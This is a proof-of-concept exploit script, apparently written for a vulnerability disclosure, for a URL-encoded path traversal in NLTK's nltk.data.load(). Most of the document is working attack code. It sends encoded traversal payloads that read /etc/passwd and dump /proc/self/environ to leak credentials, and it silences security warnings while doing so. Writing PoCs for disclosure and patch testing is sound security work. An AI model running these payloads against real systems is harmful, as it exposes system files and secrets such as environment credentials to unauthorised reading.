Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings

# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)

# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0

    # --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()

    # --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()

    # --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()